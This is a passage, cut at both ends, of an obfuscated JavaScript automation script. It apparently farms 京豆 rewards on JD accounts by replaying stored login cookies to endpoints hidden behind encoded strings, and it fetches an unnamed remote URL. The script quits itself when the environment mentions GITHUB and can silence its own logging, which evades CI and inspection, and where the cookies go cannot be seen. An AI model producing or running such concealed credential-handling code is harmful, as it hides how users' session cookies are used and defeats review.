_0x5bb5bf[_0x5104('a8','Gv%S')]($[_0x5104('a9','O@D[')](_0x5bb5bf[_0x5104('aa','RUq)')]),_0x5bb5bf[_0x5104('ab','TnkI')]);}}})()[_0x5104('ac','xN7K')](_0x329105=>{$[_0x5104('ad','@nbV')]('','❌\x20'+$[_0x5104('ae','UAL!')]+_0x5104('af','Gv%S')+_0x329105+'!','');})[_0x5104('b0','l7cY')](()=>{$[_0x5104('b1','U#UB')]();});function _0x531b44(_0x20ad8f){return new Promise(_0x5dfc7f=>setTimeout(_0x5dfc7f,_0x20ad8f));}function _0x45bcf3(_0x53c464){var _0x43be0e={'AwhME':function(_0x4ce980,_0x42286a){return _0x4ce980!=_0x42286a;},'oWhzx':function(_0x4465f8,_0xccd65){return _0x4465f8<_0xccd65;},'BTfak':function(_0x19fb16,_0x3fab1c){return _0x19fb16+_0x3fab1c;},'oQCgQ':function(_0x479f58,_0x9529,_0x45fa55){return _0x479f58(_0x9529,_0x45fa55);}};if(_0x43be0e[_0x5104('b2','2jmD')](_0x53c464[_0x5104('b3','TnkI')]('-'),-0x1)){_0x1fff84=!![];let _0x180a09=_0x53c464[_0x5104('b4','UOrG')]()[_0x5104('b5','xN7K')](/-/g,'');var _0xe56b14=_0x180a09[_0x5104('b6','i8%)')]('')[_0x5104('b7','gP@$')]()[_0x5104('b8','krRM')]('');var _0x747f0c=_0xe56b14[_0x5104('b9','k!v4')];var _0x9561a8;var _0x599eab=[];for(var _0x1c7000=0x0;_0x43be0e[_0x5104('ba','YHml')](_0x1c7000,_0x747f0c);_0x1c7000=_0x43be0e[_0x5104('bb','b9D7')](_0x1c7000,0x2)){_0x9561a8=_0x43be0e[_0x5104('bc','l%@a')](parseInt,_0xe56b14[_0x5104('bd','xN7K')](_0x1c7000,0x2),0x10);_0x599eab[_0x5104('be','GGq8')](String[_0x5104('bf','gZtA')](_0x9561a8));}return _0x599eab[_0x5104('c0','U#UB')]('')[_0x5104('c1','eS#*')](/#/g,'');}else{return _0x53c464;}}function _0x35ea2e(_0x3905b3,_0x9ba4f6){var _0x23b48e={'WvBVs':function(_0xc1d6e0,_0x2b8daf){return _0xc1d6e0+_0x2b8daf;},'itmdH':function(_0x488d67,_0x348055){return _0x488d67*_0x348055;},'JRrsX':function(_0x1e5588,_0x176ff9){return _0x1e5588-_0x176ff9;}};return _0x23b48e[_0x5104('c2','b9D7')](Math[_0x5104('c3','eS#*')](_0x23b48e[_0x5104('c4','*rlg')](Math[_0x5104('c5','[qOf')](),_0x23b48e[_0x5104('c6','U4Xo')](_0x9ba4f6,_0x3905b3))),_0x3905b3);}function _0x43cd7d(){var _0x547c14={'rgFYu':function(_0x473681,_0x59e41f){return _0x473681!=_0x59e41f;},'uGRbD':_0x5104('c7','(1l7'),'TbSjA':function(_0x413ac2,_0x531448){return _0x413ac2!==_0x531448;},'gaHSf':_0x5104('c8','YHml'),'XXSTM':function(_0x3884b1,_0x4e24f0){return _0x3884b1===_0x4e24f0;},'QUsRt':_0x5104('c9','$GFC'),'lExuZ':_0x5104('ca','(1l7'),'pCkGy':function(_0x4fe4a5,_0x570b6a){return _0x4fe4a5(_0x570b6a);},'nfHPK':_0x5104('cb','eS#*'),'dnkrp':_0x5104('cc','O@D['),'xVLDL':function(_0x2558ca){return _0x2558ca();},'hfYzp':function(_0x2010ea,_0x116ff8){return _0x2010ea!==_0x116ff8;},'yebJU':_0x5104('cd','GGq8'),'qEzgP':function(_0x1c331e,_0x2f839f,_0x2285cb){return _0x1c331e(_0x2f839f,_0x2285cb);},'bqGsc':_0x5104('ce','Bl4V')};return new Promise(_0x5a40eb=>{var _0x15c2f7={'oMQmT':function(_0x4c2f52,_0x5f2d85){return _0x547c14[_0x5104('cf','8yWt')](_0x4c2f52,_0x5f2d85);},'Wyoab':_0x547c14[_0x5104('d0','eS#*')],'bpDma':function(_0x53878a,_0x19d7de){return _0x547c14[_0x5104('d1','yS!u')](_0x53878a,_0x19d7de);},'LpNhH':_0x547c14[_0x5104('d2','2jmD')],'ruWAD':function(_0x5b1ba7,_0x1e0d5f){return _0x547c14[_0x5104('d3','U4Xo')](_0x5b1ba7,_0x1e0d5f);},'zTkae':_0x547c14[_0x5104('d4',')RH!')],'uFFWm':_0x547c14[_0x5104('d5','*rlg')],'IokpU':function(_0x10e79d,_0x1c912b){return _0x547c14[_0x5104('d6','67VH')](_0x10e79d,_0x1c912b);},'zCZYY':function(_0x128843,_0x5dc0c3){return _0x547c14[_0x5104('d7','aFT9')](_0x128843,_0x5dc0c3);},'torfy':_0x547c14[_0x5104('d8','v2Do')],'KKOSC':_0x547c14[_0x5104('d9','k!v4')],'Lpbco':function(_0xa13868,_0x25834e){return _0x547c14[_0x5104('da','i8%)')](_0xa13868,_0x25834e);},'ahOip':function(_0x265251){return _0x547c14[_0x5104('db','[qOf')](_0x265251);}};if(_0x547c14[_0x5104('dc','c8cL')](_0x547c14[_0x5104('dd','l7cY')],_0x547c14[_0x5104('de','U#UB')])){id=data[_0x5104('df','ao5M')](/[\r\n]/g,'');}else{const _0x55df22={'actId':$[_0x5104('e0','YHml')]};$[_0x5104('e1','xN7K')](_0x547c14[_0x5104('e2','k!v4')](_0x24e6d8,_0x547c14[_0x5104('e3','U4Xo')],_0x55df22),(_0x129cf1,_0x516ee4,_0x3d36af)=>{if(_0x15c2f7[_0x5104('e4','gP@$')](_0x15c2f7[_0x5104('e5','k!v4')],_0x15c2f7[_0x5104('e6','UAL!')])){console[_0x5104('8d','b9D7')](_0x5104('e7','VQda'));}else{try{if(_0x129cf1){if(_0x15c2f7[_0x5104('e8','k!v4')](_0x15c2f7[_0x5104('e9','67VH')],_0x15c2f7[_0x5104('ea','XSyJ')])){$[_0x5104('eb','i8%)')](e,_0x516ee4);}else{console[_0x5104('ec','$GFC')](''+JSON[_0x5104('ed','8znP')](_0x129cf1));console[_0x5104('ee','2jmD')]($[_0x5104('ef','DFxo')]+_0x5104('f0','krRM'));}}else{if(_0x15c2f7[_0x5104('f1','UOrG')](_0x154d96,_0x3d36af)){if(_0x15c2f7[_0x5104('f2','krRM')](_0x15c2f7[_0x5104('f3','i8%)')],_0x15c2f7[_0x5104('f4','xN7K')])){return _0x15c2f7[_0x5104('f5','c8cL')](process[_0x5104('f6','8znP')][_0x5104('f7','UAL!')],_0x15c2f7[_0x5104('f8','aFT9')]);}else{_0x3d36af=JSON[_0x5104('f9','aFT9')](_0x3d36af);if(_0x15c2f7[_0x5104('fa','a7OV')](_0x3d36af[_0x5104('fb','8yWt')],'0')){console[_0x5104('8d','b9D7')](_0x5104('fc','Bl4V')+JSON[_0x5104('fd','l%@a')](_0x3d36af[_0x5104('fe','U#UB')]));message+=_0x5104('ff','yS!u')+_0x3d36af[_0x5104('fe','U#UB')][_0x5104('100','l%@a')][0x0][_0x5104('101','l7cY')]+'京豆';_0x52284b+=_0x5104('102','2jmD')+$[_0x5104('103','JqL1')]+'-'+($[_0x5104('104','c8cL')]||$[_0x5104('105','krRM')])+_0x5104('106','v2Do')+_0x3d36af[_0x5104('107','k!v4')][_0x5104('108','8yWt')][0x0][_0x5104('109',')RH!')]+'京豆'+(_0x15c2f7[_0x5104('10a','DCck')]($[_0x5104('10b','Nfin')],cookiesArr[_0x5104('10c','xG6!')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x15c2f7[_0x5104('10d','k!v4')](_0x3d36af[_0x5104('10e','VQda')],'8')){console[_0x5104('10f','xG6!')](_0x5104('110','GGq8'));message+=_0x5104('111','UAL!');}else{console[_0x5104('2a','aFT9')](_0x5104('112','i8%)')+JSON[_0x5104('113','l7cY')](_0x3d36af));}}}}}catch(_0x4e03cd){$[_0x5104('114','b9D7')](_0x4e03cd,_0x516ee4);}finally{_0x15c2f7[_0x5104('115','U#UB')](_0x5a40eb);}}});}});}function _0x581886(_0x95abde){var _0x1e3fe3={'TUkUg':function(_0x142862,_0x4a805f){return _0x142862===_0x4a805f;},'ruknc':_0x5104('116','8yWt'),'VIiXL':_0x5104('117','U#UB'),'NoZao':function(_0xb3a0b2,_0x38d7b0){return _0xb3a0b2!==_0x38d7b0;},'NgTRJ':_0x5104('118','xeT2'),'zzYfg':_0x5104('119','b9D7'),'LeCeq':function(_0x1c8ac1,_0x510a77){return _0x1c8ac1==_0x510a77;},'WneUS':function(_0x311f91,_0x4f2e49){return _0x311f91===_0x4f2e49;},'lfykG':_0x5104('11a','O@D['),'itpDM':function(_0x4149af,_0x34a00f){return _0x4149af!==_0x34a00f;},'AZezI':_0x5104('11b','Aqd^'),'wVLHQ':_0x5104('11c','Bl4V'),'VICFv':function(_0x1ab683,_0x38b9d5){return _0x1ab683(_0x38b9d5);}};return new Promise(_0x57598d=>{var _0x48035c={'JWCZs':function(_0x1c23d2,_0x39aeb3){return _0x1e3fe3[_0x5104('11d','Hrkv')](_0x1c23d2,_0x39aeb3);},'EepGE':_0x1e3fe3[_0x5104('11e','eS#*')],'zxrNS':_0x1e3fe3[_0x5104('11f','VQda')],'YhUuO':function(_0x29e42e,_0x1d2ec3){return _0x1e3fe3[_0x5104('120','xG6!')](_0x29e42e,_0x1d2ec3);},'DOgny':_0x1e3fe3[_0x5104('121','c8cL')],'sZIHE':_0x1e3fe3[_0x5104('122','k!v4')],'VBUUR':function(_0x2959bd,_0x1a4236){return _0x1e3fe3[_0x5104('123','[qOf')](_0x2959bd,_0x1a4236);},'SXvJG':function(_0x5281e6,_0x4652aa){return _0x1e3fe3[_0x5104('124','l7cY')](_0x5281e6,_0x4652aa);},'vqIed':_0x1e3fe3[_0x5104('125','eS#*')],'QgOhj':function(_0x53b1b2,_0x102e19){return _0x1e3fe3[_0x5104('126','Bl4V')](_0x53b1b2,_0x102e19);},'ERQAK':_0x1e3fe3[_0x5104('127','v2Do')],'WlWwc':_0x1e3fe3[_0x5104('128','gZtA')],'yMBPB':function(_0x3557e2,_0x160c8f){return _0x1e3fe3[_0x5104('129','yS!u')](_0x3557e2,_0x160c8f);}};let _0x44fb1a='';$[_0x5104('12a','eS#*')]({'url':_0x95abde},async(_0x5b5fc8,_0x3d5d96,_0x2d5b60)=>{if(_0x48035c[_0x5104('12b','$GFC')](_0x48035c[_0x5104('12c','U#UB')],_0x48035c[_0x5104('12d','67VH')])){return new Promise(_0x33a00d=>setTimeout(_0x33a00d,time));}else{try{if(_0x48035c[_0x5104('12e','UOrG')](_0x48035c[_0x5104('12f','i9hN')],_0x48035c[_0x5104('130','aFT9')])){_0x44fb1a='';}else{if(_0x5b5fc8){if(_0x48035c[_0x5104('131','GGq8')](_0x3d5d96[_0x5104('132','eS#*')],0x202)){console[_0x5104('5e','TnkI')](_0x5104('133','l%@a'));}else{if(_0x48035c[_0x5104('134','O@D[')](_0x48035c[_0x5104('135','aFT9')],_0x48035c[_0x5104('136','GGq8')])){console[_0x5104('137','Nfin')](''+JSON[_0x5104('138','v2Do')](_0x5b5fc8));}else{_0x2d5b60=JSON[_0x5104('139','eS#*')](_0x2d5b60);if(_0x48035c[_0x5104('13a','DFxo')](_0x2d5b60[_0x48035c[_0x5104('13b','v2Do')]],0xd)){$[_0x5104('13c','b9D7')]=![];return;}if(_0x48035c[_0x5104('13d','XSyJ')](_0x2d5b60[_0x48035c[_0x5104('13e','DCck')]],0x0)){$[_0x5104('13f','YHml')]=_0x2d5b60[_0x48035c[_0x5104('140','Hrkv')]]&&_0x2d5b60[_0x48035c[_0x5104('141','l7cY')]][_0x5104('142','JqL1')]||$[_0x5104('143','i8%)')];}else{$[_0x5104('144','Aqd^')]=$[_0x5104('145','DCck')];}}}_0x44fb1a='';}else{if(!!_0x2d5b60){_0x44fb1a=_0x2d5b60[_0x5104('146','ZS#B')](/[\r\n]/g,'');}else{if(_0x48035c[_0x5104('147','YHml')](_0x48035c[_0x5104('148','yS!u')],_0x48035c[_0x5104('149','TKCI')])){$[_0x5104('13f','YHml')]=$[_0x5104('14a','eS#*')];}else{_0x44fb1a='';}}}}}catch(_0x11fd9e){$[_0x5104('14b','U4Xo')](_0x11fd9e,_0x3d5d96);}finally{if(_0x48035c[_0x5104('14c','U4Xo')](_0x48035c[_0x5104('14d','VQda')],_0x48035c[_0x5104('14e','U4Xo')])){$[_0x5104('14f','v2Do')](e,_0x3d5d96);}else{_0x48035c[_0x5104('150','l7cY')](_0x57598d,_0x44fb1a);}}}});});}function _0x5172b1(){var _0x8f166a={'iLRNw':_0x5104('151','RUq)'),'wNZgG':_0x5104('152','VQda')};let _0x3c1502=_0x8f166a[_0x5104('153','krRM')];if($[_0x5104('154','krRM')]()&&process[_0x5104('155','l%@a')][_0x5104('156','8znP')]){_0x3c1502=process[_0x5104('157','Bl4V')][_0x5104('156','8znP')];}else if($[_0x5104('158','Hrkv')](_0x8f166a[_0x5104('159','l7cY')])){_0x3c1502=$[_0x5104('15a','TKCI')](_0x8f166a[_0x5104('15b','RUq)')]);}return _0x3c1502;}function _0x577a1f(){var _0x584c06={'vKwzA':function(_0x51a557,_0x36cb55){return _0x51a557===_0x36cb55;},'kLVXt':function(_0x3ac1a9,_0x2f90bd){return _0x3ac1a9!==_0x2f90bd;},'qqUYP':function(_0x968f4,_0x29eb93){return _0x968f4===_0x29eb93;},'oLMTM':function(_0x180cfd,_0x14acaf){return _0x180cfd!=_0x14acaf;},'vZSDL':_0x5104('15c','UAL!'),'iPYZK':_0x5104('15d','8znP'),'ZTtNY':_0x5104('15e','ZS#B'),'jQcur':_0x5104('15f','TKCI'),'KIokv':function(_0x2cc3d1,_0x3fab21){return _0x2cc3d1!=_0x3fab21;}};if($[_0x5104('0','Nfin')]()&&process[_0x5104('157','Bl4V')][_0x5104('160','krRM')]){return _0x584c06[_0x5104('161','xeT2')](process[_0x5104('162','xG6!')][_0x5104('f7','UAL!')],_0x584c06[_0x5104('163','VQda')]);}else if($[_0x5104('164','UOrG')](_0x584c06[_0x5104('165','XSyJ')])){if(_0x584c06[_0x5104('166','a7OV')](_0x584c06[_0x5104('167','TKCI')],_0x584c06[_0x5104('168','Bl4V')])){return _0x584c06[_0x5104('169','XSyJ')]($[_0x5104('13','l7cY')](_0x584c06[_0x5104('16a','krRM')]),_0x584c06[_0x5104('16b','*rlg')]);}else{data=JSON[_0x5104('16c','DCck')](data);if(_0x584c06[_0x5104('16d','l%@a')](data[_0x5104('16e','Nfin')],'0')){console[_0x5104('16f','U4Xo')](_0x5104('170','U4Xo')+JSON[_0x5104('171','67VH')](data[_0x5104('172','gP@$')]));message+=_0x5104('173','8znP')+data[_0x5104('174','2jmD')][_0x5104('175','U#UB')][0x0][_0x5104('176','$GFC')]+'京豆';_0x52284b+=_0x5104('177','gP@$')+$[_0x5104('72','GGq8')]+'-'+($[_0x5104('178','O@D[')]||$[_0x5104('179','[qOf')])+_0x5104('17a','l%@a')+data[_0x5104('17b','$GFC')][_0x5104('17c','VQda')][0x0][_0x5104('17d','GGq8')]+'京豆'+(_0x584c06[_0x5104('17e','xN7K')]($[_0x5104('17f','UAL!')],cookiesArr[_0x5104('b9','k!v4')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x584c06[_0x5104('180','U4Xo')](data[_0x5104('181','YHml')],'8')){console[_0x5104('ee','2jmD')](_0x5104('110','GGq8'));message+=_0x5104('182','gP@$');}else{console[_0x5104('183','UAL!')](_0x5104('184','TKCI')+JSON[_0x5104('185','gZtA')](data));}}}return!![];}function _0x24e6d8(_0x278287,_0x3c3dc0={}){var _0xa75f3c={'LMdZG':function(_0x3fe69e,_0x5c6c8a){return _0x3fe69e(_0x5c6c8a);},'dSEPq':function(_0xed0269,_0x43a27f){return _0xed0269+_0x43a27f;},'NlaRN':function(_0x9e2b2e,_0x2da20e){return _0x9e2b2e*_0x2da20e;},'moMlH':function(_0x1d1b0b,_0x12a5d5){return _0x1d1b0b*_0x12a5d5;},'haCrz':function(_0x2e7c08,_0x1d8d17){return _0x2e7c08*_0x1d8d17;},'NIvtQ':_0x5104('186','67VH'),'IFeQQ':_0x5104('187','JqL1'),'KwLlJ':_0x5104('188','xN7K'),'WqzNM':_0x5104('189','Bl4V'),'CMIZk':_0x5104('18a','gP@$'),'knrFu':_0x5104('18b','l%@a'),'NQFfE':_0x5104('18c','Gv%S')};return{'url':_0x4a370d+_0x5104('18d','2jmD')+_0x278287+_0x5104('18e','8yWt')+_0xa75f3c[_0x5104('18f','UOrG')](escape,JSON[_0x5104('190','8yWt')](_0x3c3dc0))+_0x5104('191','(1l7')+_0xa75f3c[_0x5104('192','GGq8')](_0xa75f3c[_0x5104('193','ao5M')](new Date()[_0x5104('194','@nbV')](),_0xa75f3c[_0x5104('195','U4Xo')](_0xa75f3c[_0x5104('196',')RH!')](new Date()[_0x5104('197','U4Xo')](),0x3c),0x3e8)),_0xa75f3c[_0x5104('198','Bl4V')](_0xa75f3c[_0x5104('199','TnkI')](_0xa75f3c[_0x5104('19a','v2Do')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0xa75f3c[_0x5104('19b','O@D[')],'Accept-Encoding':_0xa75f3c[_0x5104('19c','GGq8')],'Accept-Language':_0xa75f3c[_0x5104('19d','UOrG')],'Connection':_0xa75f3c[_0x5104('19e','i8%)')],'Content-Type':_0xa75f3c[_0x5104('19f','@nbV')],'Host':_0xa75f3c[_0x5104('1a0','a7OV')],'Referer':_0x5104('1a1','*rlg')+$[_0x5104('1a2','v2Do')]+_0x5104('1a3','i9hN'),'Cookie':cookie,'User-Agent':_0xa75f3c[_0x5104('1a4','2jmD')]}};}function _0x3a17fc(){var _0x91648d={'Ssmik':function(_0x45145c,_0x28d753){return _0x45145c===_0x28d753;},'NkDCB':_0x5104('1a5','U#UB'),'Gdsae':function(_0x564917,_0x4e1238){return _0x564917>_0x4e1238;},'JmzTZ':_0x5104('1a6','8yWt'),'tzuQg':function(_0xcc46dc){return _0xcc46dc();},'WCcnP':function(_0x59deb4,_0x52cc2d){return _0x59deb4(_0x52cc2d);},'isxwi':function(_0x2fe9a2,_0x42dc2b){return _0x2fe9a2!==_0x42dc2b;},'yTmJG':_0x5104('1a7','yS!u'),'nkJVU':function(_0x5bf325,_0x39567d){return _0x5bf325!==_0x39567d;},'rlhzV':_0x5104('1a8','67VH'),'HLRug':_0x5104('1a9','@nbV'),'psTHu':_0x5104('1aa','TKCI'),'nwnzP':_0x5104('1ab','*rlg'),'LftCo':function(_0xdb5f8a,_0x3efe22){return _0xdb5f8a!==_0x3efe22;},'gHpwN':_0x5104('1ac','c8cL'),'zyvmj':_0x5104('1ad','VQda'),'SSFAh':_0x5104('1ae','JqL1'),'SzIQY':_0x5104('1af','GGq8'),'YtGsL':function(_0xcde8d4,_0x143612){return _0xcde8d4!==_0x143612;},'rRrfR':_0x5104('1b0','2jmD'),'JPENA':_0x5104('1b1','Nfin'),'iBmsc':_0x5104('1b2','U4Xo'),'dyJTV':_0x5104('1b3','Bl4V'),'LvUQe':function(_0xd9e0d2,_0x1a14eb){return _0xd9e0d2===_0x1a14eb;},'THrXv':_0x5104('1b4','a7OV'),'mGUDm':_0x5104('1b5','ao5M'),'brKWK':_0x5104('1b6','Hrkv'),'qCaVm':_0x5104('1b7','l7cY'),'iSyPB':_0x5104('1b8','l7cY'),'CjwgV':_0x5104('1b9','UAL!'),'wShxk':_0x5104('1ba','2jmD'),'vTyFB':_0x5104('1bb','yS!u'),'WmWst':_0x5104('1bc','YHml')};return new Promise(async _0x5ada5f=>{var _0x5bfe15={'RKtqA':_0x91648d[_0x5104('1bd','b9D7')],'Wnzsz':_0x91648d[_0x5104('1be','xN7K')]};if(_0x91648d[_0x5104('1bf','yS!u')](_0x91648d[_0x5104('1c0','Aqd^')],_0x91648d[_0x5104('1c1','TnkI')])){const _0x501bd6={'url':_0x5104('1c2','Gv%S'),'headers':{'Accept':_0x91648d[_0x5104('1c3','U#UB')],'Content-Type':_0x91648d[_0x5104('1c4','i8%)')],'Accept-Encoding':_0x91648d[_0x5104('1c5','U4Xo')],'Accept-Language':_0x91648d[_0x5104('1c6','l7cY')],'Connection':_0x91648d[_0x5104('1c7','xeT2')],'Cookie':cookie,'Referer':_0x91648d[_0x5104('1c8','aFT9')],'User-Agent':$[_0x5104('0','Nfin')]()?process[_0x5104('1c9','U#UB')][_0x5104('1ca','xG6!')]?process[_0x5104('1cb','i8%)')][_0x5104('1cc','DFxo')]:_0x91648d[_0x5104('1cd','$GFC')]:$[_0x5104('1ce','gP@$')](_0x91648d[_0x5104('1cf','k!v4')])?$[_0x5104('1d0','RUq)')](_0x91648d[_0x5104('1d1','l%@a')]):_0x91648d[_0x5104('1d2','U#UB')]}};$[_0x5104('1d3','v2Do')](_0x501bd6,(_0x51e139,_0x45f2fc,_0x3b45ca)=>{var _0x2e0d74={'oYGxX':function(_0x16b62c,_0x54aa82){return _0x91648d[_0x5104('1d4','DFxo')](_0x16b62c,_0x54aa82);},'KDmya':_0x91648d[_0x5104('1d5','8znP')],'Pdhih':function(_0x25ddcc,_0xb7c63a){return _0x91648d[_0x5104('1d6','DFxo')](_0x25ddcc,_0xb7c63a);},'CiQHY':_0x91648d[_0x5104('1d7','ao5M')],'YXeUS':function(_0x243d44){return _0x91648d[_0x5104('1d8','k!v4')](_0x243d44);},'kWeKW':function(_0x38d80e,_0x345674){return _0x91648d[_0x5104('1d9','DCck')](_0x38d80e,_0x345674);}};if(_0x91648d[_0x5104('1da','JqL1')](_0x91648d[_0x5104('1db','2jmD')],_0x91648d[_0x5104('1dc','yS!u')])){Object[_0x5104('1dd','O@D[')](jdCookieNode)[_0x5104('1de','RUq)')](_0x9d0d29=>{cookiesArr[_0x5104('1df','@nbV')](jdCookieNode[_0x9d0d29]);});if(process[_0x5104('1e0','Hrkv')][_0x5104('1e1','DFxo')]&&_0x2e0d74[_0x5104('1e2','DCck')](process[_0x5104('162','xG6!')][_0x5104('7','gP@$')],_0x2e0d74[_0x5104('1e3','TKCI')]))console[_0x5104('1e4','i8%)')]=()=>{};if(_0x2e0d74[_0x5104('1e5','2jmD')](JSON[_0x5104('113','l7cY')](process[_0x5104('1e6','U4Xo')])[_0x5104('1e7','Bl4V')](_0x2e0d74[_0x5104('1e8','ao5M')]),-0x1)){process[_0x5104('1e9','*rlg')](0x0);}}else{try{if(_0x51e139){if(_0x91648d[_0x5104('1ea','aFT9')](_0x91648d[_0x5104('1eb','eS#*')],_0x91648d[_0x5104('1ec','i9hN')])){_0x2e0d74[_0x5104('1ed','yS!u')](_0x5ada5f);}else{console[_0x5104('9','xN7K')](''+JSON[_0x5104('1ee','TKCI')](_0x51e139));console[_0x5104('1ef','k!v4')]($[_0x5104('1f0','2jmD')]+_0x5104('1f1','eS#*'));}}else{if(_0x91648d[_0x5104('1f2','XSyJ')](_0x91648d[_0x5104('1f3','l%@a')],_0x91648d[_0x5104('1f4','i8%)')])){if(_0x3b45ca){_0x3b45ca=JSON[_0x5104('1f5','JqL1')](_0x3b45ca);if(_0x91648d[_0x5104('1f6','gZtA')](_0x3b45ca[_0x91648d[_0x5104('1f7','(1l7')]],0xd)){$[_0x5104('1f8','O@D[')]=![];return;}if(_0x91648d[_0x5104('1f9','VQda')](_0x3b45ca[_0x91648d[_0x5104('1fa','*rlg')]],0x0)){if(_0x91648d[_0x5104('1fb','[qOf')](_0x91648d[_0x5104('1fc','ao5M')],_0x91648d[_0x5104('1fd','GGq8')])){ids[_0x2e0d74[_0x5104('1fe','U#UB')](String,i)]=codeItem;}else{$[_0x5104('1ff','gP@$')]=_0x3b45ca[_0x91648d[_0x5104('200','krRM')]]&&_0x3b45ca[_0x91648d[_0x5104('201','UOrG')]][_0x5104('202','UOrG')]||$[_0x5104('203','UAL!')];}}else{if(_0x91648d[_0x5104('204','xG6!')](_0x91648d[_0x5104('205','b9D7')],_0x91648d[_0x5104('206','$GFC')])){$[_0x5104('ad','@nbV')](_0x5104('207','Nfin'));return;}else{$[_0x5104('208','TKCI')]=$[_0x5104('209','*rlg')];}}}else{if(_0x91648d[_0x5104('20a','U4Xo')](_0x91648d[_0x5104('20b',')RH!')],_0x91648d[_0x5104('20c','Gv%S')])){console[_0x5104('10f','xG6!')](''+JSON[_0x5104('20d','*rlg')](_0x51e139));console[_0x5104('20e','O@D[')]($[_0x5104('84','U4Xo')]+_0x5104('20f','i8%)'));}else{console[_0x5104('70','XSyJ')](_0x5104('210','Hrkv'));}}}else{$[_0x5104('5e','TnkI')](_0x5104('211','TnkI'));return;}}}catch(_0x9019da){if(_0x91648d[_0x5104('212','(1l7')](_0x91648d[_0x5104('213','ZS#B')],_0x91648d[_0x5104('214','8yWt')])){$[_0x5104('215','k!v4')](_0x9019da,_0x45f2fc);}else{$[_0x5104('216','DCck')]($[_0x5104('217','eS#*')],_0x5bfe15[_0x5104('218','xN7K')],_0x5bfe15[_0x5104('219','eS#*')],{'open-url':_0x5bfe15[_0x5104('21a','*rlg')]});return;}}finally{_0x91648d[_0x5104('21b','YHml')](_0x5ada5f);}}});}else{$[_0x5104('21c','ao5M')]('','❌\x20'+$[_0x5104('21d','l%@a')]+_0x5104('21e','xN7K')+e+'!','');}});}function _0x154d96(_0x9dc722){var _0x443c1a={'NspQv':_0x5104('21f','gP@$'),'eGpYI':function(_0x5bbab7,_0x559680){return _0x5bbab7===_0x559680;},'UpusT':_0x5104('220','ao5M'),'GFSnN':function(_0x5b7ada,_0x99a201){return _0x5b7ada==_0x99a201;},'OPUrT':_0x5104('221','l%@a')};try{if(_0x443c1a[_0x5104('222','i8%)')](_0x443c1a[_0x5104('223','UAL!')],_0x443c1a[_0x5104('224','Bl4V')])){if(_0x443c1a[_0x5104('225','(1l7')](typeof JSON[_0x5104('226','U#UB')](_0x9dc722),_0x443c1a[_0x5104('227','xN7K')])){return!![];}}else{rras=$[_0x5104('164','UOrG')](_0x443c1a[_0x5104('228','gZtA')]);$[_0x5104('229','UOrG')](_0x5104('22a','DCck')+rras);}}catch(_0x12a19e){console[_0x5104('22b','l7cY')](_0x12a19e);console[_0x5104('70','XSyJ')](_0x5104('22c','xeT2'));return![];}}function _0x45775d(_0x4139e7){var _0xffc3ba={'SyXTU':function(_0x32c357,_0x4b9657){return _0x32c357!=_0x4b9657;},'FJQtK':function(_0x5ec063,_0x30daf6){return _0x5ec063<_0x30daf6;},'HYyVK':function(_0x301b37,_0x147640){return _0x301b37+_0x147640;},'WNQYl':function(_0x8afe65,_0x5ed94c,_0x47ffdb){return _0x8afe65(_0x5ed94c,_0x47ffdb);},'VhtxH':_0x5104('22d','a7OV'),'YXaGJ':function(_0x3d6824,_0x290f55){return _0x3d6824==_0x290f55;},'ozioD':_0x5104('22e','*rlg'),'PwXlp':function(_0x5959f6,_0x2f8746){return _0x5959f6===_0x2f8746;},'dfckc':_0x5104('22f','8znP'),'YDXTo':_0x5104('230','O@D['),'XhOOa':function(_0x431a44,_0x2eb801){return _0x431a44===_0x2eb801;},'ceAzI':_0x5104('231','RUq)'),'qzbLg':_0x5104('232','aFT9')};if(_0xffc3ba[_0x5104('233','v2Do')](typeof _0x4139e7,_0xffc3ba[_0x5104('234','xG6!')])){try{if(_0xffc3ba[_0x5104('235','DCck')](_0xffc3ba[_0x5104('236','ao5M')],_0xffc3ba[_0x5104('237','UAL!')])){if(_0xffc3ba[_0x5104('238','UAL!')](code[_0x5104('239','ao5M')]('-'),-0x1)){_0x1fff84=!![];let _0x44b356=code[_0x5104('49','v2Do')]()[_0x5104('23a','UAL!')](/-/g,'');var _0x10030c=_0x44b356[_0x5104('23b','ZS#B')]('')[_0x5104('23c','xG6!')]()[_0x5104('23d','RUq)')]('');var _0x1450d6=_0x10030c[_0x5104('23e','*rlg')];var _0x5e6c46;var _0x572ffa=[];for(var _0x4df6a8=0x0;_0xffc3ba[_0x5104('23f','VQda')](_0x4df6a8,_0x1450d6);_0x4df6a8=_0xffc3ba[_0x5104('240','67VH')](_0x4df6a8,0x2)){_0x5e6c46=_0xffc3ba[_0x5104('241','xG6!')](parseInt,_0x10030c[_0x5104('242','8znP')](_0x4df6a8,0x2),0x10);_0x572ffa[_0x5104('243','DCck')](String[_0x5104('244','(1l7')](_0x5e6c46));}return _0x572ffa[_0x5104('245','Bl4V')]('')[_0x5104('246','a7OV')](/#/g,'');}else{return code;}}else{return JSON[_0x5104('247','a7OV')](_0x4139e7);}}catch(_0x5471fe){if(_0xffc3ba[_0x5104('248','@nbV')](_0xffc3ba[_0x5104('249','krRM')],_0xffc3ba[_0x5104('24a',')RH!')])){try{return JSON[_0x5104('247','a7OV')](_0x4139e7);}catch(_0x594a55){console[_0x5104('24b','gZtA')](_0x594a55);$[_0x5104('24c','[qOf')]($[_0x5104('7b','Gv%S')],'',_0xffc3ba[_0x5104('24d','b9D7')]);return[];}}else{console[_0x5104('ad','@nbV')](_0x5471fe);$[_0x5104('24e','$GFC')]($[_0x5104('24f','$GFC')],'',_0xffc3ba[_0x5104('250','Gv%S')]);return[];}}}};_0xodO='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof 